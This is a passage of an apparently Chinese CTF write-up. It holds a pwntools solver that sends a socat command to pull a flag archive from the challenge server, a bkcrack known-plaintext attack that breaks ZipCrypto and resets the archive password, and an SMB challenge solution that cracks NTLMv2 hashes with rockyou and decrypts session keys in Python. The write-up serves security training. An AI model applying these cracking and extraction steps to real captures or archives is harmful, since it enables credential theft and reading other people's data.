class="number">1</span>)</span><br><span class="line"></span><br><span class="line">PROMPT = <span class="string">b&#x27;): &#x27;</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;\n========== Round <span class="subst">&#123;i+<span class="number">1</span>&#125;</span> / 12 ==========&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        raw_data = p.recvuntil(PROMPT)</span><br><span class="line">    <span class="keyword">except</span> EOFError:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[-] Server disconnected prematurely.&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    lines = raw_data.strip().split(<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    b64_data = <span class="string">b&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(line) &gt; <span class="number">100</span>:</span><br><span class="line">            b64_data = line.strip()</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">            </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> b64_data:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[-] Base64 data not found.&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    target_idx = <span class="number">0</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        zip_bytes = base64.b64decode(b64_data)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">with</span> ZipFile(io.BytesIO(zip_bytes), <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> z:</span><br><span class="line">            img_data = z.read(<span class="string">&quot;0.png&quot;</span>)</span><br><span class="line">            </span><br><span class="line">        img_hash = md5(img_data).hexdigest()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> img_hash <span class="keyword">in</span> hashmap:</span><br><span class="line">            target_idx = hashmap[img_hash]</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] Match! Index: <span class="subst">&#123;target_idx&#125;</span> (Hash: <span class="subst">&#123;img_hash[:<span class="number">6</span>]&#125;</span>...)&quot;</span>)</span><br><span class="line">            <span class="comment"># 保存 7.zip 用来后面明文攻击</span></span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;debug/round_<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>_matched_<span class="subst">&#123;target_idx&#125;</span>.zip&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(zip_bytes)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] No match for hash: <span class="subst">&#123;img_hash[:<span class="number">6</span>]&#125;</span>...&quot;</span>)</span><br><span class="line">            </span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] Error processing image: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    payload = <span class="built_in">str</span>(target_idx)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[&gt;] Sending: <span class="subst">&#123;payload&#125;</span>&quot;</span>)</span><br><span class="line">    p.sendline(payload.encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    output = p.clean(timeout=<span class="number">0.1</span>)</span><br><span class="line">    <span class="built_in">print</span>(output.decode(errors=<span class="string">&#x27;ignore&#x27;</span>))</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">cmd = <span class="string">b&#x27;socat -u FILE:&quot;Bandizip(flag).zip&quot; STDOUT&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[&gt;] Sending: <span class="subst">&#123;cmd&#125;</span>&quot;</span>)</span><br><span class="line">p.sendline(cmd)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Receiving raw stream...&quot;</span>)</span><br><span class="line"></span><br><span class="line">total_data = <span class="string">b&quot;&quot;</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="comment"># 设置短超时，快速轮询</span></span><br><span class="line">        chunk = p.recv(timeout=<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        total_data += chunk</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(total_data) &gt; <span class="number">223000</span>: </span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;recv error: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] Total received: <span class="subst">&#123;<span class="built_in">len</span>(total_data)&#125;</span> bytes&quot;</span>)</span><br><span class="line"></span><br><span class="line">zip_header = <span class="string">b&#x27;\x50\x4B\x03\x04&#x27;</span></span><br><span class="line">start_idx = total_data.find(zip_header)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> start_idx != -<span class="number">1</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] Found ZIP header at offset: <span class="subst">&#123;start_idx&#125;</span>&quot;</span>)</span><br><span class="line">    real_size = <span class="number">222544</span></span><br><span class="line">    clean_data = total_data[start_idx : start_idx + real_size]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;flag_new.zip&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(clean_data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] Saved &#x27;flag_new.zip&#x27; (<span class="subst">&#123;<span class="built_in">len</span>(clean_data)&#125;</span> bytes).&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[*] Now verify with: bkcrack -L flag_new.zip&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] Still no ZIP header found. Dumping all...&quot;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;flag_dump.bin&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(total_data)</span><br><span class="line"></span><br><span class="line">p.close()</span><br></pre></td></tr></table></figure><p>这下文件就对了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -L flag_new.zip</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">Archive: flag_new.zip</span><br><span class="line">Index Encryption Compression CRC32    Uncompressed  Packed size Name</span><br><span class="line">----- ---------- ----------- -------- ------------ ------------ ----------------</span><br><span class="line">    0 ZipCrypto  Store       bacedd4d       218800       218812 7.zip</span><br><span class="line">    1 ZipCrypto  Store       83221ac1         3448         3460 data.txt</span><br></pre></td></tr></table></figure><p>里面有 7.zip，大概率是要 7 点的那个压缩包</p><p>拿着 7:35 的图片的压缩包来 crack</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C .\flag_new.zip -c 7.zip -p round_10_matched_7.zip</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[14:52:49] Z reduction using 218793 bytes of known plaintext</span><br><span class="line">3.9 % (8631 / 218793)</span><br><span class="line">[14:52:50] Attack on 241 Z values at index 211131</span><br><span class="line">Keys: bf431018 6033e5d1 33389c81</span><br><span class="line">100.0 % (241 / 241)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">[14:52:50] Keys</span><br><span class="line">bf431018 6033e5d1 33389c81</span><br><span class="line">$ bkcrack -C flag_new.zip -k bf431018 6033e5d1 33389c81 -U flag_cracked.zip <span class="string">&quot;Volcania&quot;</span></span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[14:54:02] Writing unlocked archive flag_cracked.zip with password <span class="string">&quot;Volcania&quot;</span></span><br><span class="line">100.0 % (2 / 2)</span><br><span class="line">Wrote unlocked archive.</span><br></pre></td></tr></table></figure><p>得到 data.txt</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMN@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMMHCCMMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM@@@MMMMMMMMMMMMMMMMMMMMMMMMM@MM@@@MM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@CONMMMMMMMMM</span><br><span class="line">MMMMMMMCCO@OCCC@@CCMMMMMM@CCHMMMMMM@CCCOMMMMNCMMMMCCOM@OQMHCOMMMMMMMMQCQ@CCC@MM@C@MMMMMMMMMCCOONMMMNHCCOMNHNMMNCCCOQMMMMQCCOMMMMMMMMM@CCOMNQCNMMCC@M@@@MMMMMMMMMHCOMMMMMMMMQCQMCC@M@@@MCCOMHOCNMMMMMMMMMMM@CCHMMMMMNHNMMMNCMMMMMMMMM</span><br><span class="line">MMMMMMMCCOMMMMMMNCCMMMMM@CCC@C@MMMHCCNMMMMMMNCMMMNCCOMMNCMMCCHM@CQMMHCCNMCCCNC@NC@MMMMMMMMMCCONC@M@CHCCOMCC@MMOC@MMMMM@CCQMMMMMMMMMMMMCCOMMMNC@MCC@MMMMMMMMMMMMMMCCHM@CQMMHCCNMCC@MMMMMCCOMMMNCMMMMMMMMMM@CCC@C@MMMCC@MMMNCMMMMMMMMM</span><br><span class="line">MMMMMMMCCOQOCQMMQCCMMMMMOCCNMHCNMMCC@QCCOMM@QHMMMNCCOHCQ@MMNCC@ONQNNCCHMMCCCMQQNCMMMMMMMMMMCCOMQOMQC@CCOMCC@MMM@QCO@MMOCHMMMMMMMMMMMMMCCO@OCQ@MMCCHCCC@MMMMMMMMMMNCC@ONQNNCCHMMCCHCCC@MCCOMQCC@MMMMMMMMMMOCCNMHCNMMCC@MMM@CH@MMMMMMM</span><br><span class="line">MMMMMMMCCOMMMMMMCCCMMMMHCCHQCHOC@MOC@M@CMMM@QCMMMNCCOMMMMMMMQCOMMMNCCQMMMCCCM@CHOMMMMMMMMMMCCOM@CQCNMCCQMCC@M@O@MMNC@MCCMMMMMMMMMMMMMMCCOMQC@MMMCC@MMMMMMMMMMMMMMMQCOMMMNCCQMMMCC@MMMMMCCOMMNOQMMMMMMMMMHCCHQCHOC@MCC@MMM@CH@MMMMMMM</span><br><span class="line">MMMMMMMCCOMMMMMMNHHM@@@OCOMMMM@CQMMHCCCCMMMMNCMMMNCCQMMMMMMM@OCNMMCCOMMMMCCCMMHC@MMMMMMMMMMCCOMMQCHMMCCQ@NH@MMQCQHCQMM@OCOCQMMMMMMMMM@CCQMMNCHMMCCNNNN@MMMMMMMMMMM@OCNMMCCOMMMMCCNNNN@MCCOMM@OQMMMMMMMMMOCOMMMM@CQ@NH@MMMNCMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@CNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOOOOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOOOOOMMMMMMMMMMMMMMMMMMMOOOOOOOOMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMOOOOOOOOMMMMMMMMMMMMMMMM@HCMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br><span class="line">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><br></pre></td></tr></table></figure><p>有点抽象，先把 M 换成空格</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-105-1765621747344-224.png"></p><p>是 <code>flag&#123;pwn_misc_re_web_ai&#125;</code></p><h2 id="SMB-Solved"><a href="#SMB-Solved" class="headerlink" title="SMB | Solved"></a>SMB | Solved</h2><p>拿到 SMB2 的数据包，先提取 NTLM</p><blockquote><p><a href="https://github.com/mlgualtieri/NTLMRawUnHide">https://github.com/mlgualtieri/NTLMRawUnHide</a></p></blockquote><p>得到 NTLM 信息，拿去 hashcat</p><blockquote><p><strong>username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response</strong></p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">rockyou::PC:5649f6b5969a9fbf:f8cb9296a5206484b1baf6bce47abe3b:0101000000000000f68d75c3fb59dc01ba30ab51dc5395c3000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800f68d75c3fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000</span><br><span class="line">rockyou::PC:a230ee46968b6116:c3b172a7df39f6d1765de24170d5f387:0101000000000000ed3fabc7fb59dc01d9b1245c055f29b2000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800ed3fabc7fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000</span><br><span class="line">rockyou::PC:12e83c96f85b09d7:14266416151fcfce3b420575ef030028:0101000000000000ed3fabc7fb59dc01ab5b9b0cfe9b35d0000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800ed3fabc7fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000</span><br><span class="line">rockyou::PC:3822c6dbeba60ca2:4b35d5e49a18a4bf1ce0e68f591799d0:0101000000000000ed3fabc7fb59dc01c0f5befb4ddd6648000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800ed3fabc7fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000</span><br></pre></td></tr></table></figure><p>给的数据里面直接就写了 rockyou，所以拿 rockyou 爆破一下，得到密码是 <code>12megankirwin12</code></p><ul><li>用户名：rockyou</li><li>域：PC</li><li>密码：<code>12megankirwin12</code></li><li>server_challenge<ul><li>5649f6b5969a9fbf</li><li>a230ee46968b6116</li><li>12e83c96f85b09d7</li><li>3822c6dbeba60ca2</li></ul></li></ul><p>导出一下 sessionkey</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ tshark -n -r SMB.pcapng -Y <span class="string">&#x27;ntlmssp.messagetype == 0x00000003&#x27;</span> -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.sesskey -e smb2.sesid</span><br><span class="line">Protocol being registered is <span class="string">&quot;Minecraft Java Edition&quot;</span></span><br><span class="line">rockyou PC      f8cb9296a5206484b1baf6bce47abe3b        83ef8765dc2621899e86744f9dd9c5c8        0x0000100000000031</span><br><span class="line">rockyou PC      c3b172a7df39f6d1765de24170d5f387        7d8542d2690e115789f9d07c01334ec4        0x0000100000000031</span><br><span class="line">rockyou PC      14266416151fcfce3b420575ef030028        8a71c61fcb8ed0c8d011a5bf7591b0c3        0x0000100000000031</span><br><span class="line">rockyou PC      4b35d5e49a18a4bf1ce0e68f591799d0        daaab95bb9461bbcf65a89a55ea09adb        0x0000100000000031</span><br></pre></td></tr></table></figure><ul><li>NTproofstring:sessionkey<ul><li>f8cb9296a5206484b1baf6bce47abe3b:83ef8765dc2621899e86744f9dd9c5c8</li><li>c3b172a7df39f6d1765de24170d5f387:7d8542d2690e115789f9d07c01334ec4</li><li>14266416151fcfce3b420575ef030028:8a71c61fcb8ed0c8d011a5bf7591b0c3</li><li>4b35d5e49a18a4bf1ce0e68f591799d0:daaab95bb9461bbcf65a89a55ea09adb</li></ul></li></ul><p>算一下 session key</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> ARC4</span><br><span class="line"><span class="keyword">from</span> Crypto.Hash <span class="keyword">import</span> MD4, MD5, HMAC</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_decrypted_session_key</span>(<span class="params">password: <span class="built_in">str</span>, username: <span class="built_in">str</span>, domain: <span class="built_in">str</span>, ntProofStr: <span class="built_in">str</span>, serverChallenge: <span class="built_in">str</span>, sessionKey: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    password = password</span><br><span class="line">    username = username</span><br><span class="line">    domain = domain</span><br><span class="line">    ntProofStr = ntProofStr</span><br><span class="line">    serverChallenge = serverChallenge</span><br><span class="line">    sessionKey = sessionKey</span><br><span class="line"></span><br><span class="line">    passwordHash = MD4.new(password.encode(<span class="string">&#x27;utf-16-le&#x27;</span>)).digest()</span><br><span class="line">    responseKey = HMAC.new(passwordHash, (username.upper()+domain.upper()).encode(<span class="string">&#x27;utf-16-le&#x27;</span>), MD5).digest()</span><br><span class="line">    keyExchangeKey = HMAC.new(responseKey, <span class="built_in">bytes</span>.fromhex(ntProofStr), MD5).digest()</span><br><span class="line">    decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(<span class="built_in">bytes</span>.fromhex(sessionKey))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> decryptedSessionKey.<span class="built_in">hex</span>()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    data = [</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="string">&quot;password&quot;</span>: <span class="string">&quot;12megankirwin12&quot;</span>,</span><br><span class="line">            <span class="string">&quot;username&quot;</span>: <span class="string">&quot;rockyou&quot;</span>,</span><br><span class="line">            <span class="string">&quot;domain&quot;</span>: <span class="string">&quot;PC&quot;</span>,</span><br><span class="line">            <span class="string">&quot;ntProofStr&quot;</span>: <span class="string">&quot;f8cb9296a5206484b1baf6bce47abe3b&quot;</span>,</span><br><span class="line">            <span class="string">&quot;serverChallenge&quot;</span>: <span class="string">&quot;5649f6b5969a9fbf&quot;</span>,</span><br><span class="line">            <span class="string">&quot;sessionKey&quot;</span>: <span class="string">&quot;83ef8765dc2621899e86744f9dd9c5c8&quot;</span></span><br><span class="line">        &#125;,</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="string">&quot;password&quot;</span>: <span class="string">&quot;12megankirwin12&quot;</span>,</span><br><span class="line">            <span class="string">&quot;username&quot;</span>: <span class="string">&quot;rockyou&quot;</span>,</span><br><span class="line">            <span class="string">&quot;domain&quot;</span>: <span class="string">&quot;PC&quot;</span>,</span><br><span class="line">            <span class="string">&quot;ntProofStr&quot;</span>: <span class="string">&quot;c3b172a7df39f6d1765de24170d5f387&quot;</span>,</span><br><span class="line">            <span class="string">&quot;serverChallenge&quot;</span>: <span class="string">&quot;a230ee46968b6116&quot;</span>,</span><br><span class="line">            <span class="string">&quot;sessionKey&quot;</span>: <span class="string">&quot;7d8542d2690e115789f9d07c01334ec4&quot;</span></span><br><span class="line">        &#125;,</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="string">&quot;password&quot;</span>: <span class="string">&quot;12megankirwin12&quot;</span>,</span><br><span class="line">            <span class="string">&quot;username&quot;</span>: <span class="string">&quot;rockyou&quot;</span>,</span><br><span class="line">            <span class="string">&quot;domain&quot;</span>: <span class="string">&quot;PC&quot;</span>,</span><br><span class="line">            <span class="string">&quot;ntProofStr&quot;</span>: <span class="string">&quot;14266416151fcfce3b420575ef030028&quot;</span>,</span><br><span class="line">            <span class="string">&quot;serverChallenge&quot;</span>: <span class="string">&quot;12e83c96f85b09d7&quot;</span>,</span><br><span class="line">            <span class="string">&quot;sessionKey&quot;</span>: <span class="string">&quot;8a71c61fcb8ed0c8d011a5bf7591b0c3&quot;</span></span><br><span class="line">        &#125;,</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="string">&quot;password&quot;</span>: <span class="string">&quot;12megankirwin12&quot;</span>,</span><br><span class="line">            <span class="string">&quot;username&quot;</span>: <span class="string">&quot;rockyou&quot;</span>,</span><br><span class="line">            <span class="string">&quot;domain&quot;</span>: <span class="string">&quot;PC&quot;</span>,</span><br><span class="line">            <span class="string">&quot;ntProofStr&quot;</span>: <span class="string">&quot;4b35d5e49a18a4bf1ce0e68f591799d0&quot;</span>,</span><br><span class="line">            <span class="string">&quot;serverChallenge&quot;</span>: <span class="string">&quot;3822c6dbeba60ca2&quot;</span>,</span><br><span class="line">            <span class="string">&quot;sessionKey&quot;</span>: <span class="string">&quot;daaab95bb9461bbcf65a89a55ea09adb&quot;</span></span><br><span class="line">        &#125;,</span><br><span class="line">    ]</span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> data:</span><br><span class="line">        decrypted_key = get_decrypted_session_key(</span><br><span class="line">            item[<span class="string">&quot;password&quot;</span>],</span><br><span class="line">            item[<span class="string">&quot;username&quot;</span>],</span><br><span class="line">            item[<span class="string">&quot;domain&quot;</span>],</span><br><span class="line">            item[<span class="string">&quot;ntProofStr&quot;</span>],</span><br><span class="line">            item[<span class="string">&quot;serverChallenge&quot;</span>],</span><br><span class="line">            item[<span class="string">&quot;sessionKey&quot;</span>]</span><br><span class="line">        )</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Decrypted Session Key: <span class="subst">&#123;decrypted_key&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ uv run .\smb_get_session_key.py</span><br><span class="line">Decrypted Session Key: a5bfafdad7cb6b35947e06faa4f2504d</span><br><span class="line">Decrypted Session Key: c3b59105fcb305240a4b00ebdd0aa3a3</span><br><span class="line">Decrypted Session Key: 9b48d9ff2ed50318770c284169f389f0</span><br><span class="line">Decrypted Session Key: fa54bf67cc683198e0a035605521dae1</span><br></pre></td></tr></table></figure><p>将导出的 session key 添加到 wireshark 里面去</p><p>注意先获取到 sessionid 